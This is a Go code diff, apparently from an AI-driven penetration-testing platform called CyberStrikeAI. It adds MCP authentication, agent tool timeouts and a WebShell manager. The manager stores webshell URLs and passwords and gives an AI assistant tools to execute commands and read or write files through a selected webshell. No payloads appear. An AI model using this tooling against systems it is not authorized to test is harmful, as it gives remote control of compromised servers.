AgentID int64 `yaml:"agent_id" json:"agent_id"` // 应用 AgentId
CorpID string `yaml:"corp_id" json:"corp_id"` // 企业 ID
Secret string `yaml:"secret" json:"secret"` // 应用 Secret
AgentID int64 `yaml:"agent_id" json:"agent_id"` // 应用 AgentId
}
// RobotDingtalkConfig 钉钉机器人配置
@@ -57,9 +104,9 @@ type RobotDingtalkConfig struct {
// RobotLarkConfig 飞书机器人配置
type RobotLarkConfig struct {
Enabled bool `yaml:"enabled" json:"enabled"`
AppID string `yaml:"app_id" json:"app_id"` // 应用 App ID
AppSecret string `yaml:"app_secret" json:"app_secret"` // 应用 App Secret
Enabled bool `yaml:"enabled" json:"enabled"`
AppID string `yaml:"app_id" json:"app_id"` // 应用 App ID
AppSecret string `yaml:"app_secret" json:"app_secret"` // 应用 App Secret
VerifyToken string `yaml:"verify_token" json:"verify_token"` // 事件订阅 Verification Token(可选)
}
@@ -74,9 +121,11 @@ type LogConfig struct {
}
type MCPConfig struct {
Enabled bool `yaml:"enabled"`
Host string `yaml:"host"`
Port int `yaml:"port"`
Enabled bool `yaml:"enabled"`
Host string `yaml:"host"`
Port int `yaml:"port"`
AuthHeader string `yaml:"auth_header,omitempty"` // 鉴权 header 名,留空表示不鉴权
AuthHeaderValue string `yaml:"auth_header_value,omitempty"` // 鉴权 header 值,需与请求中该 header 一致
}
type OpenAIConfig struct {
@@ -108,6 +157,7 @@ type AgentConfig struct {
MaxIterations int `yaml:"max_iterations" json:"max_iterations"`
LargeResultThreshold int `yaml:"large_result_threshold" json:"large_result_threshold"` // 大结果阈值(字节),默认50KB
ResultStorageDir string `yaml:"result_storage_dir" json:"result_storage_dir"` // 结果存储目录,默认tmp
ToolTimeoutMinutes int `yaml:"tool_timeout_minutes" json:"tool_timeout_minutes"` // 单次工具执行最大时长(分钟),超时自动终止,防止长时间挂起;0 表示不限制(不推荐)
}
type AuthConfig struct {
@@ -159,16 +209,17 @@ type ToolConfig struct {
// ParameterConfig 参数配置
type ParameterConfig struct {
Name string `yaml:"name"` // 参数名称
Type string `yaml:"type"` // 参数类型: string, int, bool, array
Description string `yaml:"description"` // 参数描述
Required bool `yaml:"required,omitempty"` // 是否必需
Default interface{} `yaml:"default,omitempty"` // 默认值
Flag string `yaml:"flag,omitempty"` // 命令行标志,如 "-u", "--url", "-p"
Position *int `yaml:"position,omitempty"` // 位置参数的位置(从0开始)
Format string `yaml:"format,omitempty"` // 参数格式: "flag", "positional", "combined" (flag=value), "template"
Template string `yaml:"template,omitempty"` // 模板字符串,如 "{flag} {value}" 或 "{value}"
Options []string `yaml:"options,omitempty"` // 可选值列表(用于枚举)
Name string `yaml:"name"` // 参数名称
Type string `yaml:"type"` // 参数类型: string, int, bool, array
Description string `yaml:"description"` // 参数描述
Required bool `yaml:"required,omitempty"` // 是否必需
Default interface{} `yaml:"default,omitempty"` // 默认值
ItemType string `yaml:"item_type,omitempty"` // 当 type 为 array 时,数组元素类型,如 string, number, object
Flag string `yaml:"flag,omitempty"` // 命令行标志,如 "-u", "--url", "-p"
Position *int `yaml:"position,omitempty"` // 位置参数的位置(从0开始)
Format string `yaml:"format,omitempty"` // 参数格式: "flag", "positional", "combined" (flag=value), "template"
Template string `yaml:"template,omitempty"` // 模板字符串,如 "{flag} {value}" 或 "{value}"
Options []string `yaml:"options,omitempty"` // 可选值列表(用于枚举)
}
func Load(path string) (*Config, error) {
@@ -384,6 +435,124 @@ func PrintGeneratedPasswordWarning(password string, persisted bool, persistErr s
fmt.Println("----------------------------------------------------------------")
}
// generateRandomToken 生成用于 MCP 鉴权的随机字符串(64 位十六进制)
func generateRandomToken() (string, error) {
b := make([]byte, 32)
if _, err := rand.Read(b); err != nil {
return "", err
}
return hex.EncodeToString(b), nil
}
// persistMCPAuth 将 MCP 的 auth_header / auth_header_value 写回配置文件
func persistMCPAuth(path string, mcp *MCPConfig) error {
data, err := os.ReadFile(path)
if err != nil {
return err
}
lines := strings.Split(string(data), "\n")
inMcpBlock := false
mcpIndent := -1
for i, line := range lines {
trimmed := strings.TrimSpace(line)
if !inMcpBlock {
if strings.HasPrefix(trimmed, "mcp:") {
inMcpBlock = true
mcpIndent = len(line) - len(strings.TrimLeft(line, " "))
}
continue
}
if trimmed == "" || strings.HasPrefix(trimmed, "#") {
continue
}
leadingSpaces := len(line) - len(strings.TrimLeft(line, " "))
if leadingSpaces <= mcpIndent {
inMcpBlock = false
mcpIndent = -1
if strings.HasPrefix(trimmed, "mcp:") {
inMcpBlock = true
mcpIndent = leadingSpaces
}
continue
}
prefix := line[:leadingSpaces]
rest := strings.TrimSpace(line[leadingSpaces:])
comment := ""
if idx := strings.Index(line, "#"); idx >= 0 {
comment = strings.TrimRight(line[idx:], " ")
}
withComment := ""
if comment != "" {
if !strings.HasPrefix(comment, " ") {
withComment = " "
}
withComment += comment
}
if strings.HasPrefix(rest, "auth_header_value:") {
lines[i] = fmt.Sprintf("%sauth_header_value: %q%s", prefix, mcp.AuthHeaderValue, withComment)
} else if strings.HasPrefix(rest, "auth_header:") {
lines[i] = fmt.Sprintf("%sauth_header: %q%s", prefix, mcp.AuthHeader, withComment)
}
}
return os.WriteFile(path, []byte(strings.Join(lines, "\n")), 0644)
}
// EnsureMCPAuth 在 MCP 启用且 auth_header_value 为空时,自动生成随机密钥并写回配置
func EnsureMCPAuth(path string, cfg *Config) error {
if !cfg.MCP.Enabled || strings.TrimSpace(cfg.MCP.AuthHeaderValue) != "" {
return nil
}
token, err := generateRandomToken()
if err != nil {
return fmt.Errorf("生成 MCP 鉴权密钥失败: %w", err)
}
cfg.MCP.AuthHeaderValue = token
if strings.TrimSpace(cfg.MCP.AuthHeader) == "" {
cfg.MCP.AuthHeader = "X-MCP-Token"
}
return persistMCPAuth(path, &cfg.MCP)
}
// PrintMCPConfigJSON 向终端输出 MCP 配置的 JSON,可直接复制到 Cursor / Claude Code 的 mcp 配置中使用
func PrintMCPConfigJSON(mcp MCPConfig) {
if !mcp.Enabled {
return
}
hostForURL := strings.TrimSpace(mcp.Host)
if hostForURL == "" || hostForURL == "0.0.0.0" {
hostForURL = "localhost"
}
url := fmt.Sprintf("http://%s:%d/mcp", hostForURL, mcp.Port)
headers := map[string]string{}
if mcp.AuthHeader != "" {
headers[mcp.AuthHeader] = mcp.AuthHeaderValue
}
serverEntry := map[string]interface{}{
"url": url,
}
if len(headers) > 0 {
serverEntry["headers"] = headers
}
// Claude Code 需要 type: "http"
serverEntry["type"] = "http"
out := map[string]interface{}{
"mcpServers": map[string]interface{}{
"cyberstrike-ai": serverEntry,
},
}
b, _ := json.MarshalIndent(out, "", " ")
fmt.Println("[CyberStrikeAI] MCP 配置(可复制到 Cursor / Claude Code 使用):")
fmt.Println(" Cursor: 放入 ~/.cursor/mcp.json 的 mcpServers,或项目 .cursor/mcp.json")
fmt.Println(" Claude Code: 放入 .mcp.json 或 ~/.claude.json 的 mcpServers")
fmt.Println("----------------------------------------------------------------")
fmt.Println(string(b))
fmt.Println("----------------------------------------------------------------")
}
// LoadToolsFromDir 从目录加载所有工具配置文件
func LoadToolsFromDir(dir string) ([]ToolConfig, error) {
var tools []ToolConfig
@@ -559,7 +728,8 @@ func Default() *Config {
MaxTotalTokens: 120000,
},
Agent: AgentConfig{
MaxIterations: 30, // 默认最大迭代次数
MaxIterations: 30, // 默认最大迭代次数
ToolTimeoutMinutes: 10, // 单次工具执行默认最多 10 分钟,避免异常长时间占用
},
Security: SecurityConfig{
Tools: []ToolConfig{}, // 工具配置应该从 config.yaml 或 tools/ 目录加载
@@ -586,11 +756,11 @@ func Default() *Config {
HybridWeight: 0.7,
},
Indexing: IndexingConfig{
ChunkSize: 768, // 增加到 768,更好的上下文保持
ChunkSize: 768, // 增加到 768,更好的上下文保持
ChunkOverlap: 50,
MaxChunksPerItem: 20, // 限制单个知识项最多 20 个块,避免消耗过多配额
MaxRPM: 100, // 默认 100 RPM,避免 429 错误
RateLimitDelayMs: 600, // 600ms 间隔,对应 100 RPM
MaxChunksPerItem: 20, // 限制单个知识项最多 20 个块,避免消耗过多配额
MaxRPM: 100, // 默认 100 RPM,避免 429 错误
RateLimitDelayMs: 600, // 600ms 间隔,对应 100 RPM
MaxRetries: 3,
RetryDelayMs: 1000,
},
@@ -610,20 +780,20 @@ type KnowledgeConfig struct {
// IndexingConfig 索引构建配置(用于控制知识库索引构建时的行为)
type IndexingConfig struct {
// 分块配置
ChunkSize int `yaml:"chunk_size,omitempty" json:"chunk_size,omitempty"` // 每个块的最大 token 数(估算),默认 512
ChunkOverlap int `yaml:"chunk_overlap,omitempty" json:"chunk_overlap,omitempty"` // 块之间的重叠 token 数,默认 50
ChunkSize int `yaml:"chunk_size,omitempty" json:"chunk_size,omitempty"` // 每个块的最大 token 数(估算),默认 512
ChunkOverlap int `yaml:"chunk_overlap,omitempty" json:"chunk_overlap,omitempty"` // 块之间的重叠 token 数,默认 50
MaxChunksPerItem int `yaml:"max_chunks_per_item,omitempty" json:"max_chunks_per_item,omitempty"` // 单个知识项的最大块数量,0 表示不限制
// 速率限制配置(用于避免 API 速率限制)
RateLimitDelayMs int `yaml:"rate_limit_delay_ms,omitempty" json:"rate_limit_delay_ms,omitempty"` // 请求间隔时间(毫秒),0 表示不使用固定延迟
MaxRPM int `yaml:"max_rpm,omitempty" json:"max_rpm,omitempty"` // 每分钟最大请求数,0 表示不限制
MaxRPM int `yaml:"max_rpm,omitempty" json:"max_rpm,omitempty"` // 每分钟最大请求数,0 表示不限制
// 重试配置(用于处理临时错误)
MaxRetries int `yaml:"max_retries,omitempty" json:"max_retries,omitempty"` // 最大重试次数,默认 3
RetryDelayMs int `yaml:"retry_delay_ms,omitempty" json:"retry_delay_ms,omitempty"` // 重试间隔(毫秒),默认 1000
MaxRetries int `yaml:"max_retries,omitempty" json:"max_retries,omitempty"` // 最大重试次数,默认 3
RetryDelayMs int `yaml:"retry_delay_ms,omitempty" json:"retry_delay_ms,omitempty"` // 重试间隔(毫秒),默认 1000
// 批处理配置(用于批量嵌入,当前未使用,保留扩展)
BatchSize int `yaml:"batch_size,omitempty" json:"batch_size,omitempty"` // 批量处理大小,0 表示逐个处理
BatchSize int `yaml:"batch_size,omitempty" json:"batch_size,omitempty"` // 批量处理大小,0 表示逐个处理
}
// EmbeddingConfig 嵌入配置
+128 -4
View File
@@ -33,13 +33,26 @@ type Message struct {
// CreateConversation 创建新对话
func (db *DB) CreateConversation(title string) (*Conversation, error) {
return db.CreateConversationWithWebshell("", title)
}
// CreateConversationWithWebshell 创建新对话,可选绑定 WebShell 连接 ID(为空则普通对话)
func (db *DB) CreateConversationWithWebshell(webshellConnectionID, title string) (*Conversation, error) {
id := uuid.New().String()
now := time.Now()
_, err := db.Exec(
"INSERT INTO conversations (id, title, created_at, updated_at) VALUES (?, ?, ?, ?)",
id, title, now, now,
)
var err error
if webshellConnectionID != "" {
_, err = db.Exec(
"INSERT INTO conversations (id, title, created_at, updated_at, webshell_connection_id) VALUES (?, ?, ?, ?, ?)",
id, title, now, now, webshellConnectionID,
)
} else {
_, err = db.Exec(
"INSERT INTO conversations (id, title, created_at, updated_at) VALUES (?, ?, ?, ?)",
id, title, now, now,
)
}
if err != nil {
return nil, fmt.Errorf("创建对话失败: %w", err)
}
@@ -52,6 +65,117 @@ func (db *DB) CreateConversation(title string) (*Conversation, error) {
}, nil
}
// GetConversationByWebshellConnectionID 根据 WebShell 连接 ID 获取该连接下最近一条对话(用于 AI 助手持久化)
func (db *DB) GetConversationByWebshellConnectionID(connectionID string) (*Conversation, error) {
if connectionID == "" {
return nil, fmt.Errorf("connectionID is empty")
}
var conv Conversation
var createdAt, updatedAt string
var pinned int
err := db.QueryRow(
"SELECT id, title, pinned, created_at, updated_at FROM conversations WHERE webshell_connection_id = ? ORDER BY updated_at DESC LIMIT 1",
connectionID,
).Scan(&conv.ID, &conv.Title, &pinned, &createdAt, &updatedAt)
if err != nil {
if err == sql.ErrNoRows {
return nil, nil
}
return nil, fmt.Errorf("查询对话失败: %w", err)
}
conv.Pinned = pinned != 0
if t, e := time.Parse("2006-01-02 15:04:05.999999999-07:00", createdAt); e == nil {
conv.CreatedAt = t
} else if t, e := time.Parse("2006-01-02 15:04:05", createdAt); e == nil {
conv.CreatedAt = t
} else {
conv.CreatedAt, _ = time.Parse(time.RFC3339, createdAt)
}
if t, e := time.Parse("2006-01-02 15:04:05.999999999-07:00", updatedAt); e == nil {
conv.UpdatedAt = t
} else if t, e := time.Parse("2006-01-02 15:04:05", updatedAt); e == nil {
conv.UpdatedAt = t
} else {
conv.UpdatedAt, _ = time.Parse(time.RFC3339, updatedAt)
}
messages, err := db.GetMessages(conv.ID)
if err != nil {
return nil, fmt.Errorf("加载消息失败: %w", err)
}
conv.Messages = messages
// 加载过程详情并附加到对应消息(与 GetConversation 一致,便于刷新后仍可查看执行过程)
processDetailsMap, err := db.GetProcessDetailsByConversation(conv.ID)
if err != nil {
db.logger.Warn("加载过程详情失败", zap.Error(err))
processDetailsMap = make(map[string][]ProcessDetail)
}
for i := range conv.Messages {
if details, ok := processDetailsMap[conv.Messages[i].ID]; ok {
detailsJSON := make([]map[string]interface{}, len(details))
for j, detail := range details {
var data interface{}
if detail.Data != "" {
if err := json.Unmarshal([]byte(detail.Data), &data); err != nil {
db.logger.Warn("解析过程详情数据失败", zap.Error(err))
}
}
detailsJSON[j] = map[string]interface{}{
"id": detail.ID,
"messageId": detail.MessageID,
"conversationId": detail.ConversationID,
"eventType": detail.EventType,
"message": detail.Message,
"data": data,
"createdAt": detail.CreatedAt,
}
}
conv.Messages[i].ProcessDetails = detailsJSON
}
}
return &conv, nil
}
// WebShellConversationItem 用于侧边栏列表,不含消息
type WebShellConversationItem struct {
ID string `json:"id"`
Title string `json:"title"`
UpdatedAt time.Time `json:"updatedAt"`
}
// ListConversationsByWebshellConnectionID 列出该 WebShell 连接下的所有对话(按更新时间倒序),供侧边栏展示
func (db *DB) ListConversationsByWebshellConnectionID(connectionID string) ([]WebShellConversationItem, error) {
if connectionID == "" {
return nil, nil
}
rows, err := db.Query(
"SELECT id, title, updated_at FROM conversations WHERE webshell_connection_id = ? ORDER BY updated_at DESC",
connectionID,
)
if err != nil {
return nil, fmt.Errorf("查询对话列表失败: %w", err)
}
defer rows.Close()
var list []WebShellConversationItem
for rows.Next() {
var item WebShellConversationItem
var updatedAt string
if err := rows.Scan(&item.ID, &item.Title, &updatedAt); err != nil {
continue
}
if t, e := time.Parse("2006-01-02 15:04:05.999999999-07:00", updatedAt); e == nil {
item.UpdatedAt = t
} else if t, e := time.Parse("2006-01-02 15:04:05", updatedAt); e == nil {
item.UpdatedAt = t
} else {
item.UpdatedAt, _ = time.Parse(time.RFC3339, updatedAt)
}
list = append(list, item)
}
return list, rows.Err()
}
// GetConversation 获取对话
func (db *DB) GetConversation(id string) (*Conversation, error) {
var conv Conversation
+47
View File
@@ -227,6 +227,28 @@ func (db *DB) initTables() error {
FOREIGN KEY (queue_id) REFERENCES batch_task_queues(id) ON DELETE CASCADE
);`
// 创建 WebShell 连接表
createWebshellConnectionsTable := `
CREATE TABLE IF NOT EXISTS webshell_connections (
id TEXT PRIMARY KEY,
url TEXT NOT NULL,
password TEXT NOT NULL DEFAULT '',
type TEXT NOT NULL DEFAULT 'php',
method TEXT NOT NULL DEFAULT 'post',
cmd_param TEXT NOT NULL DEFAULT '',
remark TEXT NOT NULL DEFAULT '',
created_at DATETIME NOT NULL DEFAULT CURRENT_TIMESTAMP
);`
// 创建 WebShell 连接扩展状态表(前端工作区/终端状态持久化)
createWebshellConnectionStatesTable := `
CREATE TABLE IF NOT EXISTS webshell_connection_states (
connection_id TEXT PRIMARY KEY,
state_json TEXT NOT NULL DEFAULT '{}',
updated_at DATETIME NOT NULL DEFAULT CURRENT_TIMESTAMP,
FOREIGN KEY (connection_id) REFERENCES webshell_connections(id) ON DELETE CASCADE
);`
// 创建索引
createIndexes := `
CREATE INDEX IF NOT EXISTS idx_messages_conversation_id ON messages(conversation_id);
@@ -253,6 +275,8 @@ func (db *DB) initTables() error {
CREATE INDEX IF NOT EXISTS idx_batch_tasks_queue_id ON batch_tasks(queue_id);
CREATE INDEX IF NOT EXISTS idx_batch_task_queues_created_at ON batch_task_queues(created_at);
CREATE INDEX IF NOT EXISTS idx_batch_task_queues_title ON batch_task_queues(title);
CREATE INDEX IF NOT EXISTS idx_webshell_connections_created_at ON webshell_connections(created_at);
CREATE INDEX IF NOT EXISTS idx_webshell_connection_states_updated_at ON webshell_connection_states(updated_at);
`
if _, err := db.Exec(createConversationsTable); err != nil {
@@ -311,6 +335,14 @@ func (db *DB) initTables() error {
return fmt.Errorf("创建batch_tasks表失败: %w", err)
}
if _, err := db.Exec(createWebshellConnectionsTable); err != nil {
return fmt.Errorf("创建webshell_connections表失败: %w", err)
}
if _, err := db.Exec(createWebshellConnectionStatesTable); err != nil {
return fmt.Errorf("创建webshell_connection_states表失败: %w", err)
}
// 为已有表添加新字段(如果不存在)- 必须在创建索引之前
if err := db.migrateConversationsTable(); err != nil {
db.logger.Warn("迁移conversations表失败", zap.Error(err))
@@ -397,6 +429,21 @@ func (db *DB) migrateConversationsTable() error {
}
}
// 检查 webshell_connection_id 字段是否存在(WebShell AI 助手对话关联)
err = db.QueryRow("SELECT COUNT(*) FROM pragma_table_info('conversations') WHERE name='webshell_connection_id'").Scan(&count)
if err != nil {
if _, addErr := db.Exec("ALTER TABLE conversations ADD COLUMN webshell_connection_id TEXT"); addErr != nil {
errMsg := strings.ToLower(addErr.Error())
if !strings.Contains(errMsg, "duplicate column") && !strings.Contains(errMsg, "already exists") {
db.logger.Warn("添加webshell_connection_id字段失败", zap.Error(addErr))
}
}
} else if count == 0 {
if _, err := db.Exec("ALTER TABLE conversations ADD COLUMN webshell_connection_id TEXT"); err != nil {
db.logger.Warn("添加webshell_connection_id字段失败", zap.Error(err))
}
}
return nil
}
+148
View File
@@ -0,0 +1,148 @@
package database
import (
"database/sql"
"time"
"go.uber.org/zap"
)
// WebShellConnection WebShell 连接配置
type WebShellConnection struct {
ID string `json:"id"`
URL string `json:"url"`
Password string `json:"password"`
Type string `json:"type"`
Method string `json:"method"`
CmdParam string `json:"cmdParam"`
Remark string `json:"remark"`
CreatedAt time.Time `json:"createdAt"`
}
// GetWebshellConnectionState 获取连接关联的持久化状态 JSON,不存在时返回 "{}"
func (db *DB) GetWebshellConnectionState(connectionID string) (string, error) {
var stateJSON string
err := db.QueryRow(`SELECT state_json FROM webshell_connection_states WHERE connection_id = ?`, connectionID).Scan(&stateJSON)
if err == sql.ErrNoRows {
return "{}", nil
}
if err != nil {
db.logger.Error("查询 WebShell 连接状态失败", zap.Error(err), zap.String("connectionID", connectionID))
return "", err
}
if stateJSON == "" {
stateJSON = "{}"
}
return stateJSON, nil
}
// UpsertWebshellConnectionState 保存连接关联的持久化状态 JSON
func (db *DB) UpsertWebshellConnectionState(connectionID, stateJSON string) error {
if stateJSON == "" {
stateJSON = "{}"
}
query := `
INSERT INTO webshell_connection_states (connection_id, state_json, updated_at)
VALUES (?, ?, ?)
ON CONFLICT(connection_id) DO UPDATE SET
state_json = excluded.state_json,
updated_at = excluded.updated_at
`
if _, err := db.Exec(query, connectionID, stateJSON, time.Now()); err != nil {
db.logger.Error("保存 WebShell 连接状态失败", zap.Error(err), zap.String("connectionID", connectionID))
return err
}
return nil
}
// ListWebshellConnections 列出所有 WebShell 连接,按创建时间倒序
func (db *DB) ListWebshellConnections() ([]WebShellConnection, error) {
query := `
SELECT id, url, password, type, method, cmd_param, remark, created_at
FROM webshell_connections
ORDER BY created_at DESC
`
rows, err := db.Query(query)
if err != nil {
db.logger.Error("查询 WebShell 连接列表失败", zap.Error(err))
return nil, err
}
defer rows.Close()
var list []WebShellConnection
for rows.Next() {
var c WebShellConnection
err := rows.Scan(&c.ID, &c.URL, &c.Password, &c.Type, &c.Method, &c.CmdParam, &c.Remark, &c.CreatedAt)
if err != nil {
db.logger.Warn("扫描 WebShell 连接行失败", zap.Error(err))
continue
}
list = append(list, c)
}
return list, rows.Err()
}
// GetWebshellConnection 根据 ID 获取一条连接
func (db *DB) GetWebshellConnection(id string) (*WebShellConnection, error) {
query := `
SELECT id, url, password, type, method, cmd_param, remark, created_at
FROM webshell_connections WHERE id = ?
`
var c WebShellConnection
err := db.QueryRow(query, id).Scan(&c.ID, &c.URL, &c.Password, &c.Type, &c.Method, &c.CmdParam, &c.Remark, &c.CreatedAt)
if err == sql.ErrNoRows {
return nil, nil
}
if err != nil {
db.logger.Error("查询 WebShell 连接失败", zap.Error(err), zap.String("id", id))
return nil, err
}
return &c, nil
}
// CreateWebshellConnection 创建 WebShell 连接
func (db *DB) CreateWebshellConnection(c *WebShellConnection) error {
query := `
INSERT INTO webshell_connections (id, url, password, type, method, cmd_param, remark, created_at)
VALUES (?, ?, ?, ?, ?, ?, ?, ?)
`
_, err := db.Exec(query, c.ID, c.URL, c.Password, c.Type, c.Method, c.CmdParam, c.Remark, c.CreatedAt)
if err != nil {
db.logger.Error("创建 WebShell 连接失败", zap.Error(err), zap.String("id", c.ID))
return err
}
return nil
}
// UpdateWebshellConnection 更新 WebShell 连接
func (db *DB) UpdateWebshellConnection(c *WebShellConnection) error {
query := `
UPDATE webshell_connections
SET url = ?, password = ?, type = ?, method = ?, cmd_param = ?, remark = ?
WHERE id = ?
`
result, err := db.Exec(query, c.URL, c.Password, c.Type, c.Method, c.CmdParam, c.Remark, c.ID)
if err != nil {
db.logger.Error("更新 WebShell 连接失败", zap.Error(err), zap.String("id", c.ID))
return err
}
affected, _ := result.RowsAffected()
if affected == 0 {
return sql.ErrNoRows
}
return nil
}
// DeleteWebshellConnection 删除 WebShell 连接
func (db *DB) DeleteWebshellConnection(id string) error {
result, err := db.Exec(`DELETE FROM webshell_connections WHERE id = ?`, id)
if err != nil {
db.logger.Error("删除 WebShell 连接失败", zap.Error(err), zap.String("id", id))
return err
}
affected, _ := result.RowsAffected()
if affected == 0 {
return sql.ErrNoRows
}
return nil
}
+21
View File
@@ -0,0 +1,21 @@
package einomcp
import "sync"
// ConversationHolder 在每次 DeepAgent 运行前写入会话 ID,供 MCP 工具桥接使用。
type ConversationHolder struct {
mu sync.RWMutex
id string
}
func (h *ConversationHolder) Set(id string) {
h.mu.Lock()
h.id = id
h.mu.Unlock()
}
func (h *ConversationHolder) Get() string {
h.mu.RLock()
defer h.mu.RUnlock()
return h.id
}
+145
View File
@@ -0,0 +1,145 @@
package einomcp
import (
"context"
"encoding/json"
"fmt"
"strings"
"cyberstrike-ai/internal/agent"
"cyberstrike-ai/internal/security"
"github.com/cloudwego/eino/components/tool"
"github.com/cloudwego/eino/compose"
"github.com/cloudwego/eino/schema"
"github.com/eino-contrib/jsonschema"
)
// ExecutionRecorder 可选,在 MCP 工具成功返回且带有 execution id 时回调(用于汇总 mcpExecutionIds)。
type ExecutionRecorder func(executionID string)
// ToolErrorPrefix 用于把内部 MCP 执行结果中的 IsError 标记传递到多代理上层。
// Eino 工具通道目前只支持返回字符串,因此通过前缀标识,随后在多代理 runner 中解析为 success/isError。
const ToolErrorPrefix = "__CYBERSTRIKE_AI_TOOL_ERROR__\n"
// ToolsFromDefinitions 将单 Agent 使用的 OpenAI 风格工具定义转为 Eino InvokableTool,执行时走 Agent 的 MCP 路径。
func ToolsFromDefinitions(
ag *agent.Agent,
holder *ConversationHolder,
defs []agent.Tool,
rec ExecutionRecorder,
toolOutputChunk func(toolName, toolCallID, chunk string),
) ([]tool.BaseTool, error) {
out := make([]tool.BaseTool, 0, len(defs))
for _, d := range defs {
if d.Type != "function" || d.Function.Name == "" {
continue
}
info, err := toolInfoFromDefinition(d)
if err != nil {
return nil, fmt.Errorf("tool %q: %w", d.Function.Name, err)
}
out = append(out, &mcpBridgeTool{
info: info,
name: d.Function.Name,
agent: ag,
holder: holder,
record: rec,
chunk: toolOutputChunk,
})
}
return out, nil
}
func toolInfoFromDefinition(d agent.Tool) (*schema.ToolInfo, error) {
fn := d.Function
raw, err := json.Marshal(fn.Parameters)
if err != nil {
return nil, err
}
var js jsonschema.Schema
if len(raw) > 0 && string(raw) != "null" && string(raw) != "{}" {
if err := json.Unmarshal(raw, &js); err != nil {
return nil, err
}
}
if js.Type == "" {
js.Type = string(schema.Object)
}
if js.Properties == nil && js.Type == string(schema.Object) {
// 空参数对象
}
return &schema.ToolInfo{
Name: fn.Name,
Desc: fn.Description,
ParamsOneOf: schema.NewParamsOneOfByJSONSchema(&js),
}, nil
}
type mcpBridgeTool struct {
info *schema.ToolInfo
name string
agent *agent.Agent
holder *ConversationHolder
record ExecutionRecorder
chunk func(toolName, toolCallID, chunk string)
}
func (m *mcpBridgeTool) Info(ctx context.Context) (*schema.ToolInfo, error) {
_ = ctx
return m.info, nil
}
func (m *mcpBridgeTool) InvokableRun(ctx context.Context, argumentsInJSON string, opts ...tool.Option) (string, error) {
_ = opts
var args map[string]interface{}
if argumentsInJSON != "" && argumentsInJSON != "null" {
if err := json.Unmarshal([]byte(argumentsInJSON), &args); err != nil {
return "", fmt.Errorf("invalid tool arguments JSON: %w", err)
}
}
if args == nil {
args = map[string]interface{}{}
}
// Stream tool output (stdout/stderr) to upper layer via security.Executor's callback.
// This enables multi-agent mode to show execution progress on the frontend.
if m.chunk != nil {
toolCallID := compose.GetToolCallID(ctx)
if toolCallID != "" {
if existing, ok := ctx.Value(security.ToolOutputCallbackCtxKey).(security.ToolOutputCallback); ok && existing != nil {
// Chain existing callback (if any) + our progress forwarder.
ctx = context.WithValue(ctx, security.ToolOutputCallbackCtxKey, security.ToolOutputCallback(func(c string) {
existing(c)
if strings.TrimSpace(c) == "" {
return
}
m.chunk(m.name, toolCallID, c)
}))
} else {
ctx = context.WithValue(ctx, security.ToolOutputCallbackCtxKey, security.ToolOutputCallback(func(c string) {
if strings.TrimSpace(c) == "" {
return
}
m.chunk(m.name, toolCallID, c)
}))
}
}
}
conv := m.holder.Get()
res, err := m.agent.ExecuteMCPToolForConversation(ctx, conv, m.name, args)
if err != nil {
return "", err
}
if res == nil {
return "", nil
}
if res.ExecutionID != "" && m.record != nil {
m.record(res.ExecutionID)
}
if res.IsError {
return ToolErrorPrefix + res.Result, nil
}
return res.Result, nil
}
+244 -43
View File
@@ -19,6 +19,7 @@ import (
"cyberstrike-ai/internal/config"
"cyberstrike-ai/internal/database"
"cyberstrike-ai/internal/mcp/builtin"
"cyberstrike-ai/internal/multiagent"
"cyberstrike-ai/internal/skills"
"github.com/gin-gonic/gin"
@@ -77,7 +78,8 @@ type AgentHandler struct {
knowledgeManager interface { // 知识库管理器接口
LogRetrieval(conversationID, messageID, query, riskType string, retrievedItems []string) error
}
skillsManager *skills.Manager // Skills管理器
skillsManager *skills.Manager // Skills管理器
agentsMarkdownDir string // 多代理:Markdown 子 Agent 目录(绝对路径,空则不从磁盘合并)
}
// NewAgentHandler 创建新的Agent处理器
@@ -112,6 +114,11 @@ func (h *AgentHandler) SetSkillsManager(manager *skills.Manager) {
h.skillsManager = manager
}
// SetAgentsMarkdownDir 设置 agents/*.md 子代理目录(绝对路径);空表示仅使用 config.yaml 中的 sub_agents。
func (h *AgentHandler) SetAgentsMarkdownDir(absDir string) {
h.agentsMarkdownDir = strings.TrimSpace(absDir)
}
// ChatAttachment 聊天附件(用户上传的文件)
type ChatAttachment struct {
FileName string `json:"fileName"` // 文件名
@@ -121,10 +128,11 @@ type ChatAttachment struct {
// ChatRequest 聊天请求
type ChatRequest struct {
Message string `json:"message" binding:"required"`
ConversationID string `json:"conversationId,omitempty"`
Role string `json:"role,omitempty"` // 角色名称
Attachments []ChatAttachment `json:"attachments,omitempty"`
Message string `json:"message" binding:"required"`
ConversationID string `json:"conversationId,omitempty"`
Role string `json:"role,omitempty"` // 角色名称
Attachments []ChatAttachment `json:"attachments,omitempty"`
WebShellConnectionID string `json:"webshellConnectionId,omitempty"` // WebShell 管理 - AI 助手:当前选中的连接 ID,仅使用 webshell_* 工具
}
const (
@@ -314,9 +322,36 @@ func (h *AgentHandler) AgentLoop(c *gin.Context) {
// 应用角色用户提示词和工具配置
finalMessage := req.Message
var roleTools []string // 角色配置的工具列表
var roleTools []string // 角色配置的工具列表
var roleSkills []string // 角色配置的skills列表(用于提示AI,但不硬编码内容)
if req.Role != "" && req.Role != "默认" {
// WebShell AI 助手模式:绑定当前连接,仅开放 webshell_* 工具并注入 connection_id
if req.WebShellConnectionID != "" {
conn, err := h.db.GetWebshellConnection(strings.TrimSpace(req.WebShellConnectionID))
if err != nil || conn == nil {
h.logger.Warn("WebShell AI 助手:未找到连接", zap.String("id", req.WebShellConnectionID), zap.Error(err))
c.JSON(http.StatusBadRequest, gin.H{"error": "未找到该 WebShell 连接"})
return
}
remark := conn.Remark
if remark == "" {
remark = conn.URL
}
finalMessage = fmt.Sprintf("[WebShell 助手上下文] 当前连接 ID:%s,备注:%s。可用工具(仅在该连接上操作时使用,connection_id 填 \"%s\"):webshell_exec、webshell_file_list、webshell_file_read、webshell_file_write、record_vulnerability、list_knowledge_risk_types、search_knowledge_base、list_skills、read_skill。请根据用户输入决定下一步:若仅为问候、闲聊或简单问题,直接简短回复即可,不必调用工具;当用户明确需要执行命令、列目录、读写文件、记录漏洞或检索知识库/查看 Skills 等操作时再调用上述工具。\n\n用户请求:%s",
conn.ID, remark, conn.ID, req.Message)
roleTools = []string{
builtin.ToolWebshellExec,
builtin.ToolWebshellFileList,
builtin.ToolWebshellFileRead,
builtin.ToolWebshellFileWrite,
builtin.ToolRecordVulnerability,
builtin.ToolListKnowledgeRiskTypes,
builtin.ToolSearchKnowledgeBase,
builtin.ToolListSkills,
builtin.ToolReadSkill,
}
roleSkills = nil
} else if req.Role != "" && req.Role != "默认" {
